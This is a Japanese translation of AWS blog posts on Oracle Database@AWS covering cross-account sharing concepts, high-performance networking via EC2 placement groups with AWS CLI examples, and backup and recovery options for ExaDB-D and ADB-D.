共有とエンタイトルメント共有の機能を使い始める前に考慮すべきベストプラクティスは以下のとおりです。あわせて、ODB@AWS の エンタイトルメント共有 と AWS RAM 共有 の制限事項も参照してください。 AWS RAM でアカウント間のリソースを共有する場合、リソース所有者アカウントがリソースのライフサイクルを完全にコントロールします。 信頼されたアカウントは、付与された権限に基づいて共有リソースを使用できますが、削除はできません。 購入者アカウントには、管理アカウントではなく AWS メンバーアカウントの使用を推奨します。 信頼されたアカウントは、1 つの購入者アカウント (1 つのオファー) からの共有リソースのみ使用できます。したがって、2 つの購入者アカウントが同じ信頼されたアカウントにリソースを共有することはできません。 グランティーアカウントは、1 つのグランター (購入者) アカウントからのみライセンス (エンタイトルメント) 付与を受諾でき、同時に有効な付与は 1 つだけです。 エンタイトルメントは、同じ AWS Organization 内の AWS アカウントとのみ共有できます。 組織単位 (OU) 全体や Organization 全体とエンタイトルメントを共有することはできません。 グランターまたは購入者アカウントは、別のグランターまたは購入者アカウントとエンタイトルメントを共有できません。 AWS License Manager でのエンタイトルメント付与操作は、バージニア北部 (us-east-1) AWS リージョンからのみ実行できます。ODB@AWS のアクティベーションは OCI テナンシーのホームリージョンで行われ、us-east-1 とは異なる場合があります。 主要な概念 本記事で使用した主要な概念を振り返ります。 AWS Organizations : AWS Organizations は、AWS リソースの成長とスケールに合わせて環境を一元管理・統制するのに役立ちます。Organizations を使うと、アカウントの作成とリソースの割り当て、ワークフローを整理するためのアカウントのグループ化、ガバナンスのためのポリシー適用、アカウントの支払い方法の一本化による請求の簡素化ができます。Organizations は他の AWS サービスと統合されているため、組織内のアカウント全体で中央設定、セキュリティメカニズム、監査要件、リソース共有を定義できます。 購入者アカウント (Buyer account): AWS Marketplace のサービスオンボーディング、AWS アカウントとサービスのリンク、リソースのプロビジョニング、信頼されたアカウントとのリソース共有を担当する AWS アカウントです。Oracle Database@AWS のプライベートオファーをリクエストして受諾するアカウントです。このアカウントは AWS Organization の メンバーアカウント である必要があります。 所有者アカウント (Owner account): 特定のリソースを作成した AWS アカウントは、そのリソースの所有者アカウントとみなされます。たとえば、Exadata インフラストラクチャリソースを作成したアカウントは、そのリソースの所有者アカウントです。通常、Oracle Database@AWS の初期デプロイでは、購入者アカウントが最初の Exadata インフラストラクチャリソースをデプロイするため、そのリソースの所有者アカウントにもなります。2 番目のアカウントがそのインフラストラクチャリソースを使って Exadata VM クラスターを作成した場合、2 番目のアカウントがその VM クラスターの所有者アカウントです。インフラストラクチャリソースの所有者アカウントは、VM クラスターのプロビジョニングに使用する 2 番目のアカウントに対して、リソースへのアクセスを明示的に許可する必要があります。 信頼されたアカウント (Trusted account): IAM ロールを通じて別のアカウント (「信頼する」アカウント) のリソースへのアクセスや操作の実行を許可されたアカウント、または AWS Organization 内で組織を代表してサービスが動作することを許可するアカウントを指します。所有者アカウントから特定のリソースへのアクセスを付与されたアカウントです。Oracle Database@AWS では、所有者アカウントが Exadata インフラストラクチャや ODB ネットワークなどのリソースを、同じ AWS Organization のメンバーである他の AWS アカウントと共有できます。 グランターアカウント (Grantor account): Oracle Database@AWS のサブスクリプションを所有し、AWS License Manager を通じてグランティーアカウントに共有する AWS アカウントです。グランターアカウントは通常、AWS Marketplace で Oracle Database@AWS のプライベートオファーを受諾したアカウントです。AWS License Manager で グラント を作成することで、グランターアカウントは同じ AWS Organization 内の 1 つ以上の AWS アカウントに Oracle Database@AWS サブスクリプションを共有できます。 グランティーアカウント (Grantee account): AWS License Manager を通じてグランターアカウントから Oracle サブスクリプションのグラントを受け取る AWS アカウントです。グラントが受諾・有効化されると、グランティーアカウントは共有サブスクリプションを使って、独立して Oracle Database@AWS リソースのプロビジョニング、管理、更新、削除ができます。グランティーアカウントは、自身が作成したリソースのライフサイクルを完全にコントロールします。グランティーアカウントは、一度に 1 つの グランターアカウント からのみサブスクリプショングラントを受諾できます。 Exadata インフラストラクチャ : Oracle Exadata インフラストラクチャは、Oracle データベース実行用に設計された高性能で統合されたハードウェア・ソフトウェアシステムです。Oracle Exadata データベースを実行するデータベースサーバーとストレージサーバーの基盤アーキテクチャで、AWS アベイラビリティゾーン (AZ) 内に存在します。 ODB ネットワーク: ODB ネットワークは、AWS アベイラビリティゾーン (AZ) 内で OCI インフラストラクチャをホストするプライベートな分離されたネットワークです。ODB ネットワークは IP アドレスの CIDR 範囲で構成されます。ODB ネットワークは OCI Child Site 内のネットワークに直接マッピングされ、AWS と OCI 間の通信手段となります。 トランジット Virtual Private Cloud (VPC): ODB ネットワークと直接ピアリングされ、Transit Gateway を通じて他の VPC への接続を仲介する VPC です。 OCI マルチクラウドリンクコンパートメント: クラウドプロバイダーのエンティティに対応する OCI コンパートメントです。リンクされたコンパートメントのデフォルト名はパートナークラウドによって異なります。AWS のコンパートメントには AWS アカウント ID のプレフィックスが付きます。 まとめ 本記事では、AWS アカウント間で ODB@AWS リソースを共有するためのさまざまなオプションを解説しました。あわせて、一般的なクロスアカウントアーキテクチャパターン、ベストプラクティス、重要な考慮事項も紹介しました。ご質問やフィードバックがあれば、コメント欄にお寄せください。 著者について Yamuna Palasamudram Yamuna は、AWS のプリンシパルデータベーススペシャリストソリューションアーキテクトです。AWS のリレーショナルデータベースチームで Oracle などの商用データベースエンジンを担当し、アーキテクチャガイダンス、テクニカルアドバイザリー、データおよび AI 戦略の支援を通じてお客様と協業しています。 Javeed Mohammed Javeed は、AWS のシニアデータベーススペシャリストソリューションアーキテクトです。Amazon RDS チームで Oracle や Db2 などの商用データベースエンジンを担当し、お客様の AWS でのリレーショナルデータベースワークロードの設計、デプロイ、最適化を支援しています。 Nishanth Sodum Nishanth は、Oracle のシニアプリンシパルソリューションアーキテクトで、Oracle Cloud Infrastructure プロダクトマネジメント組織に所属しています。マルチクラウドソリューションの推進と Oracle Database @ Hyperscalers の成長に注力しています。 この記事は Solutions Architect の 矢木 覚 が翻訳しました。

本記事は 2026 年 4 月 20 日 に公開された「 Getting started with the Oracle Database@AWS high performance networking 」を翻訳したものです。 Oracle Database@AWS (ODB@AWS) は、AWS データセンター内で Oracle Cloud Infrastructure (OCI) が管理する Oracle Exadata インフラストラクチャへのアクセスを提供します。Oracle Exadata インフラストラクチャは物理的に AWS データセンター内に設置されており、同一アベイラビリティゾーン内で稼働する Amazon Elastic Compute Cloud (Amazon EC2)、 Amazon Elastic Container Service (Amazon ECS)、Amazon Elastic Kubernetes Service (Amazon EKS) などの AWS サービスへの低レイテンシーネットワーク接続を実現します。アプリケーション層は、EC2 ネットワーキング上の TCP/IP 経由で Oracle の SQL*Net プロトコルを使ってデータベース層と通信します。 トレーディングシステムや高スループットの OLTP ワークロードなど、レイテンシーに敏感なオンプレミスデプロイメントのアプリケーション要件を満たすため、 ODB@AWS 高性能ネットワーキング を発表しました。この機能は、EC2 上のアプリケーションとデータベース間で安定かつ予測可能なサブミリ秒のネットワークラウンドトリップレイテンシーを提供します。ODB@AWS データベースへの接続に最適化されたプレイスメントを使用する EC2 インスタンスに追加料金はかかりません。 本記事では、Oracle Database@AWS の高性能ネットワーキング機能を解説し、設定とデプロイのステップバイステップガイドを提供します。 仕組み この機能は、サポートされるリージョンとアベイラビリティゾーンで 2026 年 4 月 1 日以降に作成された新しい Oracle Database@AWS ネットワーク (ODB ネットワーク) でのみ利用可能です。リージョンの可用性の詳細は、 Oracle Database@AWS ユーザーガイド の Unsupported Availability Zones を参照してください。 ODB@AWS 高性能ネットワーキングは、Amazon EC2 プレイスメント グループを使い、AWS アベイラビリティゾーン (AZ) 内で Oracle Exadata インフラストラクチャの物理的に近い場所にアプリケーションインスタンスを配置します。この近接性によりネットワークホップが最小化され、レイテンシーのばらつきが減少します。Oracle クライアント (EC2/ECS/EKS 上のアプリケーション) と ODB@AWS 上の Oracle Database サーバー間の SQL*Net トラフィックに対して、安定かつ予測可能なネットワークパフォーマンスを実現します。 高性能ネットワーキングはすべての ODB@AWS ユーザーに自動的に利用可能です。データベース用の ODB ネットワークを作成すると、プレイスメントグループが自動的にプロビジョニングされ、新しく作成された ODB ネットワークに関連付けられます。AWS Command Line Interface (AWS CLI) またはコンソールでプレイスメントグループを取得し、Amazon EC2 インスタンスの起動時に指定できます。プレイスメントグループは、新しい EC2 インスタンスの起動や EC2 On-Demand Capacity Reservation によるコンピューティング容量の予約を含む既存の Amazon EC2 API と統合されます。主な特徴は以下のとおりです。 プレイスメントグループの自動プロビジョニング – 新しい ODB ネットワーク (ODBN) ごとにプレイスメントグループが自動的に作成・関連付けされます。 安定したレイテンシー – EC2 インスタンスと ODB@AWS データベース間で安定したサブミリ秒のネットワークラウンドトリップレイテンシーを実現します。 既存の EC2 ワークフローとの互換性 – 標準 EC2 API、AWS Management Console で動作し、Amazon EC2 On-Demand Capacity Reservations (ODCR)、AWS Savings Plans、Reserved Instances をサポートします。 追加コストなし – 高性能ネットワーキングは追加料金なしで利用できます。起動したインスタンスには標準の EC2 使用料が適用されます。 アーキテクチャの概要 次のアーキテクチャ図は、ODB@AWS の一部として OCI リージョン (Parent Site) が AWS リージョンのアベイラビリティゾーン (Child Site) と OCI 管理ネットワークを介して接続する仕組みを示しています。Amazon EC2/ECS/EKS にデプロイされたアプリケーションサーバーは、ODB ピアリングを通じて ODB@AWS にデプロイされた Oracle データベースに接続します。 始め方 ステップ 1: ODB@AWS ネットワークの作成 AWS Management Console または AWS CLI を使って ODB@AWS ネットワークを作成します。ODB ネットワーク作成のワークフロー完了後、プレイスメントグループが自動的に作成され ODB ネットワークに関連付けられます。 AWS CLI の例: aws odb create-odb-network \ --display-name "mcpg-blog-odbn" \ --availability-zone-id "use1-az4" \ --client-subnet-cidr "X.X.0.0/24" \ --backup-subnet-cidr "Y.Y.0.0/24" \ --tags Key=Project,Value=mCPG-blogpost 出力: { "displayName": "mcpg-odbawsblog", "status": "PROVISIONING", "odbNetworkId": "odbnet_jt85an3z4u"} ステップ 2: プレイスメントグループ ID の取得 ODB ネットワーク作成後、 GetODBNetwork API またはコンソールからプレイスメントグループ ID を取得します。 オプション 1: AWS CLI を使用する方法 ステップ 1 で作成した ODB ネットワークを照会して EC2 プレイスメントグループ ID を取得します。 aws odb get-odb-network --odb-network-id odbnet_jt85an3z4u 出力 (簡潔にフォーマット): { "odbNetwork": { "odbNetworkId": "odbnet_jt85an3z4u", "displayName": "mcpg-odbawsblog", "status": "AVAILABLE", "odbNetworkArn": " arn:aws:odb:us-east-1::odb-network/odbnet_jt85an3z4u" "ec2PlacementGroupIds": ["pg-0e6faa731d3df801e"] } } オプション 2: AWS コンソールを使用する方法 ODB@AWS コンソールに移動し、ODB ネットワークを選択して、ネットワーク詳細セクションでプレイスメントグループ ID を確認します。 ステップ 3: プレイスメントグループを使って EC2 インスタンスを起動する アプリケーション用の Amazon EC2 インスタンスを起動する際、ステップ 2 で取得したプレイスメントグループ ID を指定します。これにより、ODB@AWS データベースの近くにインスタンスが配置され、最適なレイテンシーが実現されます。 AWS CLI の例: aws ec2 run-instances \ --placement GroupId=pg-0e6faa731d3df801e \ --instance-type r6i.large \ --tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=ec2-mcpg-odbawsblog}]' \ --image-id <value> \ --count 1 \ --key-name <value> \ --security-group-ids <value> \ --subnet-id <value> EC2 インスタンスのプレイスメントグループ割り当てを確認します。 aws ec2 describe-instances \ --filters "Name=tag:Name,Values=ec2-mcpg-odbawsblog" \ --query 'Reservations[].Instances[].{Name:Tags[?Key==`Name`].Value|[0], PlacementGroup:Placement.GroupId}' \ --output table 出力: +------------------------------------------------------+ | DescribeInstances | +------------------------+-----------------------------+ | Name | PlacementGroup | +------------------------+-----------------------------+ | ec2-mcpg-odbawsblog | pg-0e6faa731d3df801e | +------------------------+-----------------------------+ オプション 2: AWS コンソールを使用する方法 AWS アカウント間でのプレイスメントグループの共有 同じ AWS Organization 内で AWS Resource Access Manager (AWS RAM) を使い、ODB@AWS プレイスメントグループを他の AWS アカウントと共有できます。これにより、異なる AWS アカウントを使用するアプリケーションチームが、ODB@AWS データベースへの低レイテンシー接続に最適化されたプレイスメントで EC2 インスタンスを起動できます。現在、AWS License Manager によるクロス Organization のエンタイトルメント共有は ODB@AWS ではサポートされていません。そのため、プレイスメントグループは同じ AWS Organization 内でのみ共有できます。詳細は 共有プレイスメントグループ を参照してください。 ネットワークレイテンシーの計測 EC2 インスタンスと Oracle Database@AWS (ODB@AWS) 間のネットワークレイテンシーを計測・検証するには、 qperf または iperf3 の使用を推奨します。これらは VM クラスターの Exadata OS イメージにデフォルトで含まれています。アプリケーションをホストする EC2 インスタンスには qperf または iperf3 をインストールする必要があります。これらのツールの使い方の詳細は Oracle Exadata のドキュメントを参照してください。 代替手段として、オープンソースの TCP レベルレイテンシー計測ツールである sockperf も使用できます。sockperf は以下に役立つ補完的なネットワークメトリクスを提供します。 継続的なモニタリングのためのネットワークパフォーマンスベースラインの確立 インフラストラクチャ変更前後のパフォーマンスメトリクスの比較 サブミリ秒のレイテンシー目標が一貫して達成されていることの検証 包括的なパフォーマンス評価には、qperf/iperf3/sockperf の計測と以下の Oracle データベースパフォーマンスツールの組み合わせを推奨します。 Automatic Workload Repository (AWR): 過去のパフォーマンス分析 Active Session History (ASH): リアルタイムのセッションモニタリング SQL Trace: 詳細な SQL 実行分析 ODB@AWS 高性能ネットワーキングのベストプラクティス: プレイスメントグループは選択的に使用する – ODB@AWS はマルチクラウドサービスです。そのため、ネットワーク接続は一般的なオンプレミスデプロイメントとは根本的に異なり、通常は SQL*Net レイテンシーが若干追加されます。一部のワークロードではこの追加レイテンシーは無視できる程度です。他のワークロードでは大きなパフォーマンス低下を引き起こす可能性があります。そのため、プレイスメントグループの使用は安定したサブミリ秒のレイテンシーが本当に必要なワークロードに限定してください。 On-Demand Capacity Reservations (ODCR) を使用する – キャパシティ不足例外 (ICE) の発生リスクを最小化するため、ODB@AWS プレイスメントグループとともに ODCR を使って事前にキャパシティを予約してください。 まとめ 本記事では、Oracle Database@AWS の高性能ネットワーキング機能の使い始めに必要なステップバイステップガイドを提供しました。 ネットワークレイテンシーはアプリケーションパフォーマンスに直接影響し、特にレイテンシーに敏感なアプリケーションで顕著です。AWS アベイラビリティゾーンは複数の物理データセンターにまたがるため、仮想マシン間の物理的な距離がネットワークレイテンシーとアプリケーションパフォーマンスに影響する可能性があります。 ODB@AWS 高性能ネットワーキングは、EC2 プレイスメントグループを自動プロビジョニングし、EC2 上のアプリケーションインスタンスを Oracle Exadata インフラストラクチャの物理的に近い場所に配置することで、この課題に対処します。Oracle クライアント (EC2 上のアプリケーション) と ODB@AWS 上の Oracle Database サーバー間の SQL*Net トラフィックに対して、予測可能なネットワークパフォーマンスを実現します。 著者について Sameer Malik Sameer は、リレーショナルデータベース分野で 23 年以上の経験を持ち、AWS のプリンシパルデータベースソリューションアーキテクトとして Oracle Database@AWS、Amazon RDS、Amazon Aurora を担当しています。多くのお客様のデータベースワークロードの AWS への移行とモダナイゼーションを支援してきました。 Kevin Closson Kevin は、AWS の RDS Commercial Engines グループに所属するプリンシパルデータベースエンジニアです。データベースプラットフォームのパフォーマンスに精通し、Amazon RDS を含むさまざまなプラットフォームの I/O 性能テストに広く使われている SLOB (Silly Little Oracle Benchmark) ツールの作成者です。 この記事は Solutions Architect の 矢木 覚 が翻訳しました。

本記事は 2026 年 4 月 6 日 に公開された「 Navigating backup and recovery options for Oracle Database@AWS 」を翻訳したものです。 Oracle Database@AWS (ODB@AWS) は、 Oracle Cloud Infrastructure (OCI) が管理する Oracle Exadata インフラストラクチャを Amazon Web Services (AWS) データセンター内で直接提供します。Exadata の高性能、スケーラビリティ、高度な機能を活かしながら Oracle データベースを AWS に移行できます。エンタープライズワークロードの運用では、堅牢なデータ保護の維持が重要な課題です。本記事では、ODB@AWS の 2 つのサービス、Oracle Exadata Database Service on Dedicated Infrastructure (ExaDB-D) と Oracle Autonomous AI Database on Dedicated Exadata Infrastructure (ADB-D) で利用できるバックアップとリカバリのオプションを解説します。 バックアップカテゴリの理解 サービスごとの設定を見る前に、ODB@AWS で利用できる 4 つの主要なバックアップカテゴリを理解しましょう。 自動バックアップ : 設定に基づいて Oracle が完全に管理するバックアップです。一度設定すれば、指定したバックアップ先にデータベースバックアップが自動的に取得されます。 手動 (スタンドアロン) バックアップ : OCI の自動化を使ってユーザーが開始するオンデマンドバックアップです。Exadata Cloud (ExaDB-D) では、保存先が Object Storage または Amazon Simple Storage Service (Amazon S3) の場合、手動バックアップは常に特定時点のフルバックアップになります。保存先が Autonomous Recovery Service の場合は増分バックアップです。Autonomous Database Dedicated (ADB-D) では、手動バックアップがフルバックアップになることはありません。Object Storage または Amazon S3 を使用する場合は常に累積増分バックアップ、Autonomous Recovery Service が保存先の場合は増分バックアップになります。 ユーザー管理バックアップ : dbaascli ユーティリティ、 RMAN 、またはサードパーティツールを使ってユーザーが開始するオンデマンドバックアップです。ただし、これらのバックアップはコントロールプレーンと同期されず、OCI API とも統合されません。 長期バックアップ : 設定に基づいて Oracle が完全に管理するバックアップで、最小 90 日から最大 10 年までの長期保持に使用されます。 バックアップ先の選択 ODB@AWS は自動バックアップ用に 3 つの保存先をサポートしており、それぞれに独自の利点があります。 Amazon S3 : AWS リージョン内にバックアップを保持できるオプションです。S3 は年間 99.999999999% の耐久性と 99.99% の可用性を実現するよう設計されており、 サービスレベルアグリーメント に裏付けられています。 OCI Object Storage : Oracle Object Storage は高い耐久性を持つよう設計されており、年間 99.999999999% (イレブンナイン) の耐久性を提供します。 99.9% の可用性 を実現するよう設計されています。このオプションでは、バックアップは OCI の親リージョンに保存されます。 Autonomous Recovery Service : バックアップの保存先として AWS または OCI リージョンを選択できます。Autonomous Recovery Service は Oracle Cloud Service Descriptions で定義されている月間 99.9% の稼働率コミットメントを提供します。リアルタイムデータ保護により、1 秒未満の RPO を実現し、データ損失の可能性を最小化できます。 次の表は、前述の各 Oracle データベースサービスでサポートされるバックアップオプションをまとめたものです。 Oracle データベースサービス 自動バックアップ 手動バックアップ ユーザー管理バックアップ 長期バックアップ Oracle Autonomous AI Database on Dedicated Exadata Infrastructure 対応 対応 非対応 対応 Oracle Exadata Database Service on Dedicated Infrastructure 対応 対応 対応 非対応 アーキテクチャ: Oracle Database@AWS の基本コンポーネントは アーキテクチャ を、ネットワーク設計は Network Design with Oracle Database@AWS を参照してください。 次のアーキテクチャ図は、バックアップオプションを含む Oracle Database@AWS のトポロジーを示しています。 次の表は、Oracle Database@AWS の両データベースサービスにおけるバックアップオプション、サポートされるバックアップ先、保持期間をまとめたものです。   サービス バックアップタイプ バックアップ先 保持期間 Oracle Autonomous AI Database on Dedicated Exadata Infrastructure 自動 Amazon S3 (デフォルト) (保持ロックとクロスリージョンリストアをサポート) 7〜95 日 OCI Object Storage (クロスリージョンバックアップコピー、クロスリージョンリストア、保持ロックをサポート) 7〜95 日 Autonomous Recovery Service (保持ロックをサポート)、AWS 内で利用可能 7〜95 日 手動 Autonomous Container Database の作成 ステップで選択した自動バックアップ先と同じバックアップ先。 Autonomous Container Database のバックアップ保持設定から継承。 長期バックアップ 自動バックアップが S3 または Autonomous Recovery Service で設定されている場合、長期バックアップはデータベースから Amazon S3 に直接送信されます。自動バックアップ先が Object Storage の場合、長期バックアップは Object Storage に保存されます。 90 日〜10 年 Oracle Exadata Database Service on Dedicated Infrastructure 自動 Amazon S3 (デフォルト) (クロスリージョンリストアをサポート) 7〜60 日 OCI Object Storage 7〜60 日 Autonomous Recovery Service (保持ロックをサポート)、AWS と OCI の両方で利用可能 保護ポリシー Bronze: 14 日 Silver: 35 日 (デフォルト) Gold: 65 日 Platinum: 95 日 ユーザー定義: 14 日〜95 日 手動 Exadata データベースの作成 ステップで選択した自動バックアップ先と同じバックアップ先に保存。 スタンドアロンバックアップは自動バックアップの保持ポリシーの対象外です。削除するまで選択したバックアップ先に保持されます。 ユーザー管理バックアップ Amazon S3、 Amazon FSx 、 Amazon EFS 、Rubrik、Data Domain、Commvault、NetBackup など ユーザー管理 長期バックアップ 現在非サポート 該当なし それでは、各オプションを詳しく見て、前述の両 Oracle データベースサービスでの設定方法を確認しましょう。 Exadata Database Service on Dedicated Infrastructure Exadata Database Service には、Oracle データベースのバックアップとリカバリ操作に以下のオプションがあります。これらのオプションは排他的です。 オプション 1: 自動バックアップ 自動バックアップは、Amazon S3、OCI Object Storage、Autonomous Recovery Service と統合された Oracle 管理のバックアップで、OCI によって完全に管理されます。自動バックアップはデフォルトで有効ですが、不要な場合はデータベースのプロビジョニング時またはその後いつでも無効化できます。AWS と Oracle は、データベースに Oracle 管理の自動バックアップの使用を推奨しています。 Oracle Database@AWS では、OCI コンソールから Oracle Exadata Database Service on Dedicated Infrastructure の自動バックアップを設定する際、以下の 3 つのバックアップ先を選択できます。これらのオプションは排他的です。 Amazon S3 OCI Object Storage Autonomous Recovery Service Exadata データベース 作成時に、前述の各保存先に対する自動バックアップの設定方法を見ていきましょう。 Amazon S3 ODB ネットワークを作成すると、Oracle Database@AWS は Amazon S3 への Oracle 管理バックアップ用のネットワークアクセスを自動的に設定します。OCI が必要な DNS エントリとセキュリティリストを設定し、OCI Virtual Cloud Network (VCN) と Amazon S3 間のトラフィックを可能にします。 OCI コンソールから Amazon S3 への自動バックアップを有効にする方法は Backup Exadata Database を参照してください。 Object Storage OCI コンソールから Object Storage への自動バックアップを有効にする方法は Backup Exadata Database を参照してください。 Autonomous Recovery Service Autonomous Recovery Service はリアルタイムデータ保護を提供し、保護対象データベースから REDO を継続的にサービスへストリーミングすることで 1 秒未満の RPO を実現し、データ損失のリスクを最小化します。リアルタイムデータ保護はオプションの追加コスト機能です。さらに、自動バックアップオーケストレーション、継続的なバックアップ検証、最適化されたリカバリワークフロー、ポリシーベースのライフサイクル管理を提供します。これらの機能により運用負荷が軽減され、信頼性の高い一貫したデータベース保護を実現します。 Autonomous Recovery Service は Oracle Database@AWS をサポートし、データベースが存在するのと同じクラウドプロバイダーのロケーションにバックアップを保存する柔軟性を提供します。Autonomous Recovery Service はデフォルトで保護対象データベースと関連バックアップを OCI に作成しますが、Oracle Database@AWS ではこのデフォルト動作をオーバーライドできます。 保護ポリシー で「Store backups in the same cloud provider as the database」オプションを有効にすると、ポリシーに紐づく保護対象データベースとバックアップは、Oracle データベースがプロビジョニングされているのと同じクラウドプロバイダーのロケーションに保存されます。たとえば Oracle Database@AWS では、保護ポリシーでこのオプションを選択している場合、Autonomous Recovery Service は関連する保護対象データベースのバックアップを AWS 内に保存します。Autonomous Recovery Service を使った自動データベースバックアップで Backup Exadata Database に進む前に、 前提条件 セクションで必要なポリシーの作成とその他の要件を確認してください。これらの前提条件は、Oracle Database@AWS での Autonomous Recovery Service の一般提供 (GA) 開始日である 2025 年 10 月 7 日より前に作成された Oracle Database@AWS デプロイメントにのみ適用されます。GA 後に作成されたデプロイメント (ODB ネットワーク) では、これらの前提条件はデプロイ時に自動的に設定されます。 保護ポリシーで「Store backups in the same cloud provider as the database」オプションを選択しない場合、ポリシーに紐づく保護対象データベースとバックアップは OCI に保存されます。 OCI コンソールから Autonomous Recovery Service への自動バックアップを有効にする方法は Backup Exadata Database を参照してください。 オプション 2: 手動バックアップ スタンドアロンバックアップは、 Exadata データベースの作成 ステップで選択した自動バックアップ先と同じバックアップ先に保存される Oracle データベースバックアップです。Object Storage または Amazon S3 に保存されるスタンドアロンバックアップは、自動バックアップの保持ポリシーの対象外で、削除するまで選択したバックアップ先に残ります。Autonomous Recovery Service を保存先とする場合、スタンドアロンバックアップは保護ポリシーで定義された保持期間に従います。 OCI コンソールから手動バックアップを作成する方法は Backup Exadata Database を参照してください。 オプション 3: Oracle Database@AWS での Amazon S3 へのユーザー管理バックアップ Oracle Database@AWS では、データベースのユーザー管理バックアップ (オンデマンドバックアップ) を作成できます。 dbaascli または RMAN を使ってデータをバックアップし、Amazon S3 バケット、Amazon FSx、Amazon Elastic File System (Amazon EFS)、Object Storage、ローカルファイルシステム、その他の NFS マウントに保存できます。Oracle Database@AWS のマネージドサービスの利点を維持しながら、バックアップスケジュール、保持ポリシー、ストレージコストを完全にコントロールできます。 バックアップは、システムの 設定 に応じて、ローカルファイルシステム、OCI Object Storage、NFS マウントなどさまざまな保存先に送信できます。ユーザー管理バックアップは、Oracle Database@AWS が提供する AWS マネージドバックアップソリューションを補完します。コンプライアンス要件、クロスリージョン災害復旧、既存のバックアップ管理ワークフローとの統合に手動バックアップを活用できます。ユーザー管理バックアップを有効にする方法は Backing up in Oracle Database@AWS を参照してください。 例: dbaascli database backup \ --dbname <DB_NAME> \ --start \ --level0 Oracle Database@AWS では、NetApp、CommVault、Rubrik などのサードパーティツールを使い、RMAN 経由で Exadata Database Service 上のデータベースをバックアップすることもできます。 データベースのリストアオプション このセクションでは、前述のバックアップからのさまざまなデータベースリストアオプションを見ていきます。Exadata Database on Dedicated Infrastructure には以下のリストアオプションがあります。 コンテナデータベース (CDB) のポイントインタイムリストア プラガブルデータベース (PDB) のポイントインタイムリストア 自動またはスタンドアロンバックアップからのリストア リストア先は以下から選択できます。 最新へのリストア: 可能な限りデータ損失を抑えて、データベースを既知の正常な最新状態にリストアします。 タイムスタンプへのリストア: 指定したタイムスタンプにデータベースをリストアします。 SCN へのリストア: 指定した SCN を使ってデータベースをリストアします。SCN は有効である必要があります。 クロスリージョンリストア : Exadata データベースのクロスリージョンリストアでは、Amazon S3 ベースの自動バックアップを使って AWS リージョンをまたいだデータベースリストアを実行できます。 Oracle データベースサービス 方式 最新へのリストア タイムスタンプへのリストア SCN へのリストア インプレース/アウトオブプレースリストア Oracle Exadata Database Service on Dedicated Infrastructure コンテナデータベース (CDB) のポイントインタイムリストア 対応 対応 対応 インプレース プラガブルデータベース (PDB) のポイントインタイムリストア 対応 対応 非対応 インプレース 自動またはスタンドアロンバックアップからのリストア (すべてまたは選択した PDB) 該当なし 該当なし 該当なし アウトオブプレース S3 ベースの自動バックアップからのクロスリージョンリストア 対応 該当なし 該当なし アウトオブプレース アウトオブプレースリストアでは、同一テナンシー内であれば、同じまたは異なるコンパートメント、Exadata インフラストラクチャ、VM クラスターを選択できます。 Autonomous AI Database on Dedicated Infrastructure Autonomous AI Database on Dedicated Exadata Infrastructure は、データベースを自動的にバックアップします。自動バックアップの保持期間は、 Autonomous Container Database (ACD) で選択したバックアップ保持ポリシーに基づき最大 95 日です。この保持期間内の任意の時点にデータベースをリストア・リカバリできます。 Autonomous AI Database は自動バックアップと手動バックアップの両方をサポートします。ACD レベルで定義されたバックアップ保持ポリシーを超えて保持される長期バックアップも作成できます。バックアップ中もデータベースは完全に機能しますが、ライフサイクル管理操作は許可されません。たとえば、バックアップ中のデータベース停止はできません。Autonomous Database を終了しても、Object Storage、Amazon S3、Autonomous Recovery Service に保存されたバックアップは削除されません。自動バックアップは最低 72 時間、または選択した保持期間の全期間にわたって保持されます。長期バックアップは、明示的に削除されるか期限切れになるまで、また ACD の保持ロックが有効な場合は期限切れ後にのみ削除されます。 オプション 1: 自動バックアップ 自動バックアップはデフォルトで有効ですが、Oracle Cloud Infrastructure (OCI) コンソールから ACD のプロビジョニング時に無効化できます。自動バックアップを有効にしてプロビジョニングを完了した後は、ACD の自動バックアップを無効化できません。 AWS と Oracle は、データベースに Oracle 管理の自動バックアップの使用を推奨しています。 Oracle Database@AWS では、OCI コンソールで Autonomous Database on Dedicated Infrastructure の バックアップ先 として以下の 3 つを選択できます。 Amazon S3 (デフォルト) OCI Object Storage Autonomous Recovery Service Amazon S3 OCI コンソールから Amazon S3 への自動バックアップを有効にする方法は Backup Autonomous AI Database を参照してください。 Object Storage OCI コンソールから Object Storage への自動バックアップを有効にする方法は Backup Autonomous AI Database を参照してください。 オプション 2: 手動バックアップ Autonomous Database が自動的に作成するバックアップに加えて、Oracle Cloud Infrastructure (OCI) コンソールからオンデマンドの手動バックアップも作成できます。たとえば、大きな変更の前にバックアップを取得しておくと、リストアとリカバリを高速化できます。これらのバックアップは、ACD で選択したバックアップ保持ポリシー (期間) に応じて 最大 95 日 保持されます。手動バックアップは、最後のフルバックアップ以降のすべての増分バックアップを含む累積増分バックアップです。手動バックアップは一般に、必要時のリストア・リカバリの高速化やデータベースクローン (開発/テスト) のため、本番稼働開始などの大きな節目の前に取得します。 オプション 3: 長期バックアップ 通常のオンデマンドバックアップとは別に、OCI コンソールの Autonomous Database の詳細ページから長期バックアップも作成できます。長期バックアップは、ACD のバックアップが S3 または Autonomous Recovery Service で設定されている場合はデータベースから Amazon S3 に直接、ACD のバックアップが Object Storage を使用する場合は Object Storage に直接送信される Oracle データベースバックアップです。長期バックアップは、ACD レベルで定義されたバックアップ保持ポリシー (期間) を超えて保持されます。長期バックアップの作成時に、90 日から 10 年の範囲で保持期間を指定できます。 Oracle Database@AWS は、Autonomous Database on Dedicated Infrastructure のユーザー管理バックアップをサポートしていません。OCI コンソールから長期バックアップを有効にする方法は Backup Autonomous AI Database を参照してください。 バックアップの種類 バックアップの種類は、データベースサービスと保存先によって異なります。フル、増分、累積増分の各バックアップの違いを理解すると、ユースケースに最適なオプションを選択しやすくなります。 フルバックアップ : バックアップ時点のデータベース内のすべてのデータブロックを取得するバックアップ。 増分バックアップ : 直近のバックアップ (フルまたは増分) 以降に変更されたブロックのみを取得するバックアップ。 累積増分バックアップ : 間に何回増分バックアップが取得されたかにかかわらず、最後のフルバックアップ以降に変更されたすべてのブロックを取得するバックアップ。 プラットフォーム バックアップ操作 バックアップ先 バックアップタイプ RPO ADB-D 自動 Object Storage 週次フル、日次増分、アーカイブログは 15 分ごと 15 分 Amazon S3 週次フル、日次増分、アーカイブログは 15 分ごと 15 分 Autonomous Recovery Service 初回フル、以降は増分のみ、アーカイブログは 15 分ごと。 15 分 手動 Object Storage 累積増分 該当なし Amazon S3 累積増分 該当なし Autonomous Recovery Service 増分 該当なし 